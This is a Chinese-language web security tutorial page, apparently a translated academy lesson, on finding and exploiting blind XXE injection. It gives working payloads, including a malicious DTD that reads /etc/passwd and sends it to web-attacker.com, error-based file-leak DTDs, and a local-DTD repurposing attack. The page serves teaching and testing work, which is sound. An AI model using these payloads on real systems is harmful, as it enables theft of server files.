Web安全学院
Web安全学院
  • 首页
  • 译序
  • 学习路线
  • 前篇
    • Web应用程序安全测试
    • 动态应用程序安全测试(DAST)
    • 带外应用程序安全测试(OAST)
  • 服务器端主题
    • SQL注入
      • SQL注入
      • SQL注入UNION攻击
      • 在SQL注入攻击中检索数据库
      • SQL盲注
      • SQL注入速查表
    • 认证
      • 认证漏洞
      • 基于密码登录中的漏洞
      • 多因素认证中的漏洞
      • 其他认证机制中的漏洞
      • 如何保护你的认证机制
    • 目录遍历
      • 目录遍历
    • 命令注入
      • OS命令注入
    • 业务逻辑漏洞
      • 业务逻辑漏洞
      • 业务逻辑漏洞示例
    • 信息泄露
      • 信息泄露漏洞
      • 如何发现并利用信息泄露漏洞
    • 访问控制
      • 访问控制漏洞与权限提升
      • 不安全的直接对象引用(IDOR)
      • 访问控制安全模型
    • 文件上传漏洞
      • 文件上传漏洞
    • 条件竞争
      • 条件竞争
    • 服务器端请求伪造(SSRF)
      • 服务器端请求伪造(SSRF)
      • 盲SSRF漏洞
    • XXE注入
      • XML外部实体(XXE)注入
      • XML实体
      • 发现并利用盲XXE漏洞
  • 客户端主题
    • 跨站脚本(XSS)
      • 跨站脚本
      • 反射型XSS
      • 存储型XSS
      • 基于DOM的XSS
      • XSS上下文
        • 跨站脚本上下文
        • 客户端模版注入
      • 利用跨站脚本漏洞
      • 内容安全策略
      • 悬空标记注入
      • 如何防范XSS漏洞
      • 跨站脚本(XSS)速查表
    • 跨站请求伪造(CSRF)
      • 跨站请求伪造(CSRF)
      • XSS与CSRF
      • 绕过CSRF令牌验证
      • 绕过SameSite Cookie限制
      • 绕过基于Referer的CSRF防御
      • 如何防范CSRF漏洞
    • 跨域资源共享(CORS)
      • 跨域资源共享(CORS)
      • 同源策略(SOP)
      • CORS和Access-Control-Allow-Origin响应标头
    • 点击劫持
      • 点击劫持(UI伪装)
    • 基于DOM的漏洞
      • 基于DOM的漏洞
      • 控制Web消息源
      • 基于DOM的开放重定向
      • 基于DOM的Cookie操纵
      • 基于DOM的JavaScript注入
      • 基于DOM的document-domain操纵
      • 基于DOM的WebSocket URL投毒
      • 基于DOM的链接操纵
      • Web消息操纵
      • 基于DOM的Ajax请求标头操纵
      • 基于DOM的本地文件路径操纵
      • 基于DOM的客户端SQL注入
      • 基于DOM的HTML5 Storage操纵
      • 基于DOM的客户端XPath注入
      • 基于DOM的客户端JSON注入
      • DOM-data操纵
      • 基于DOM的拒绝服务
      • DOM破坏
    • WebSocket
      • 测试WebSocket安全漏洞
      • 什么是WebSocket?
      • 跨站WebSocket劫持
  • 进阶主题
    • 不安全的反序列化
      • 不安全的反序列化
      • 利用不安全的反序列化漏洞
    • 测试GraphQL API
      • 测试GraphQL API
      • 什么是GraphQL?
    • 服务器端模板注入
      • 服务器端模板注入
      • 利用服务器端模板注入漏洞
    • Web缓存投毒
      • Web缓存投毒
      • 缓存设计缺陷的利用
      • 缓存实现缺陷的利用
    • HTTP Host标头攻击
      • HTTP Host标头攻击
      • 如何识别和利用HTTP Host头的漏洞
      • 密码重置投毒
    • HTTP请求走私
      • HTTP请求走私
      • 查找HTTP请求走私漏洞
      • 利用HTTP请求走私漏洞
      • 高级请求走私
        • 高级请求走私
        • HTTP/2降级
        • 响应队列投毒
        • HTTP/2专属载体
        • HTTP请求隧道
      • 浏览器驱动的请求伪造
        • 浏览器驱动的请求伪造
        • CL.0请求走私
        • 客户端异步攻击
        • 基于暂停的异步攻击
    • OAuth认证
      • OAuth 2.0认证漏洞
      • OAuth授权类型
      • OpenID Connect
      • 如何防范OAuth认证漏洞
    • JWT攻击
      • JWT攻击
      • 在Burp Suite中使用JWT
      • 算法混淆攻击
    • 原型污染
      • 什么是原型污染?
      • JavaScript原型和继承
      • 客户端
        • 客户端原型污染漏洞
        • 通过浏览器API进行原型污染
      • 服务器端
        • 服务器端原型污染
      • 预防原型污染漏洞
    • 基本技能
      • 基本技能
      • 使用编码混淆攻击
      • 在手动测试中使用Burp Scanner
Powered by GitBook
On this page
  • 什么是盲XXE?
  • 使用带外技术检测盲XXE
  • 利用盲XXE带外渗出数据
  • 利用盲XXE通过错误信息检索数据
  • 通过重新利用本地DTD来利用盲XXE
  • 定位一个现有DTD文件以重新利用
  1. 服务器端主题
  2. XXE注入

发现并利用盲XXE漏洞

PreviousXML实体Next跨站脚本(XSS)

Last updated 1 year ago

在这一节,我们将讲解什么是盲XXE注入,并描述发现和利用盲XXE漏洞的各种技术。

什么是盲XXE?

盲XXE漏洞是指应用程序容易受到XXE注入的攻击,但在其响应中不返回任何已定义的外部实体的值。这意味着无法直接检索服务器端文件,因此盲XXE通常比普通的XXE漏洞更难以利用。

有两种主要途径可以发现和利用盲XXE漏洞:

  • 你可以触发带外网络交互,有时会在交互数据中泄露敏感数据。

  • 你可以以某种方式触发XML解析错误,以便错误信息包含敏感数据。

使用带外技术检测盲XXE

通常可以使用与XXE SSRF攻击相同的技术来检测盲XXE,但要触发到你控制的系统的带外网络交互。例如,你可以定义一个外部实体,如下所示:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,你就可以在XML的数据值中使用已定义的实体。

这种XXE攻击会导致服务器向指定URL发起后端HTTP请求。攻击者可以监视由此产生的DNS查询和HTTP请求,从而检测到XXE攻击是否成功。

LAB

有时,由于应用程序的某些输入验证或正在使用的XML解析器的某些加固,使用常规实体的XXE攻击会被阻止。在这种情况下,你也许可以改用XML参数实体。XML参数实体是一种特殊类型的XML实体,只能在DTD内部的其他位置引用。就目前而言,你只需要了解两件事情。首先,XML参数实体的声明包括实体名称前的百分号字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,参数实体的引用使用百分号字符,而不是通常的和号(&):

%myparameterentity;

这意味着你可以通过XML参数实体使用带外检测来测试盲XXE,如下所示:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

这个XXE有效载荷声明了一个名为xxe的XML参数实体,然后在DTD中使用该实体。这将导致向攻击者域发起DNS查询和HTTP请求,以验证攻击是否成功。

LAB

利用盲XXE带外渗出数据

通过带外技术检测盲XXE漏洞固然很好,但它实际上并未展示如何能够利用这种漏洞。攻击者真正想要实现的是外泄敏感数据。这可以通过盲XXE漏洞实现,但需要攻击者在他们控制的系统上托管一个恶意的DTD,并在带内XXE有效载荷中调用外部DTD。

一个用于外泄/etc/passwd文件内容的恶意DTD示例如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

这个DTD执行以下步骤:

  • 定义一个名为file的XML参数实体,其中包含/etc/passwd文件的内容。

  • 定义一个名为eval的XML参数实体,其中包含另一个名为exfiltrate的XML参数实体的动态声明。exfiltrate实体将通过向攻击者的Web服务器发起HTTP请求进行评估,该请求在URL查询字符串中包含file实体的值。

  • 使用eval实体,这导致exfiltrate实体的动态声明被执行。

  • 使用exfiltrate实体,以便通过请求指定的URL来评估其值。

然后,攻击者必须在他们控制的系统上托管恶意DTD,通常是将其加载到他们自己的Web服务器上。例如,攻击者可能在以下URL上提供恶意DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者必须向存在漏洞的应用程序提交以下XXE有效载荷:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

此XXE有效载荷声明了一个名为xxe的XML参数实体,随后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并对其进行内联解释。然后,恶意DTD中定义的步骤将被执行,/etc/passwd文件将被传输到攻击者的服务器。

注意

这种技术可能无法处理某些文件内容,包括/etc/passwd文件中包含的换行符。这是因为一些XML解析器会使用API获取外部实体定义中的URL,该API会验证URL中允许出现的字符。在这种情况下,可以使用FTP协议而非HTTP。有时,可能无法外泄包含换行符的数据,因此可以选择/etc/hostname文件作为目标。

LAB

利用盲XXE通过错误信息检索数据

利用盲XXE的另一种方法是触发一个XML解析错误,其中的错误信息包含你希望检索的敏感数据。如果应用程序在其响应中返回相关的错误信息,那么这种方法就会有效。

你可以使用以下恶意外部DTD触发一个包含/etc/passwd文件内容的XML解析错误信息:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

此DTD执行以下步骤:

  • 定义一个名为file的XML参数实体,其中包含/etc/passwd文件的内容。

  • 定义一个名为eval的XML参数实体,其中包含另一个名为error的XML参数实体的动态声明。error实体将通过加载一个不存在的文件进行评估,该文件的名称包含file实体的值。

  • 使用eval实体,这导致error实体的动态声明被执行。

  • 使用error实体,以便在尝试加载不存在的文件时评估其值,从而产生一个包含不存在文件名的错误信息,该文件名就是/etc/passwd文件的内容。

调用恶意的外部DTD将会导致类似如下的错误信息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

LAB

通过重新利用本地DTD来利用盲XXE

前述技术对于外部DTD是可以正常工作的,但对于在DOCTYPE元素中完全指定的内部DTD通常是不起作用的。这是因为该技术涉及在另一个参数实体的定义中使用XML参数实体。根据XML规范,这在外部DTD中是允许的,但在内部DTD中不允许(有些解析器可能会允许,但大多都不会)。

那么,当带外交互被阻止时,盲XXE漏洞怎么办?你无法通过带外连接外泄数据,也无法从远程服务器加载外部DTD。

在这种情况下,由于XML语言规范中的一个漏洞,仍有可能触发包含敏感数据的错误信息。如果文档的DTD使用内部和外部DTD声明的混合,那么内部DTD可以重新定义外部DTD中声明的实体。当这种情况发生时,在另一个参数实体的定义中使用XML参数实体的限制就会被放宽。

这意味着,攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体是重新定义外部DTD中声明的实体。当然,如果带外连接被阻止,那么就不能从远程位置加载外部DTD。相反,它需要的是应用服务器本地的外部DTD文件。本质上,这种攻击涉及到调用一个恰好存在于本地文件系统上的DTD文件,并将其重新用于以某种方式重新定义一个现有实体,从而触发一个包含敏感数据的解析错误。这种技术由Arseniy Sharoglazov首创,排在我们2018年十大Web黑客技术的第7位。

例如,假设服务器文件系统上的/usr/local/app/schema.dtd位置有一个DTD文件,并且这个DTD文件定义了一个名为custom_entity的实体。攻击者可以提交类似以下的一个混合DTD,从而触发一个包含/etc/passwd文件内容的XML解析错误信息:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

该DTD执行以下步骤:

  • 定义一个名为local_dtd的XML参数实体,其中包含存在于服务器文件系统上的外部DTD文件的内容。

  • 重新定义一个名为custom_entity的XML参数实体,该实体已在外部DTD文件中定义。这个实体被重新定义为包含已描述过的基于错误的XXE漏洞利用,用于触发包含/etc/passwd文件内容的错误信息。

  • 使用local_dtd实体,以便解释外部DTD,包括重新定义的custom_entity实体的值。这样就会出现所需的错误信息。

定位一个现有DTD文件以重新利用

由于这种XXE攻击涉及到重新利用服务器文件系统上的现有DTD,因此关键需求是找到一个合适的文件。这其实很简单。因为应用程序会返回由XML解析器抛出的任何错误信息,只需从内部DTD中加载本地DTD文件,你就能够轻松地枚举出这些文件。

例如,使用GNOME桌面环境的Linux系统通常会在/usr/share/yelp/dtd/docbookx.dtd处有一个DTD文件。你可以通过提交以下XXE有效载荷来测试该文件是否存在,如果该文件丢失,将会引发一个错误:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

在测试了一系列常见的DTD文件,找到一个存在的文件之后,你就需要获取该文件的副本并进行检查,以找到一个可以重新定义的实体。由于许多包含DTD文件的常见系统都是开源的,通常可以通过互联网搜索快速获取文件的副本。

LAB

带外交互的盲XXE
通过XML参数实体进行带外交互的盲XXE
使用恶意外部DTD利用盲XXE外泄数据
利用盲XXE通过错误信息检索数据
通过重新利用本地DTD来利用XXE获取数据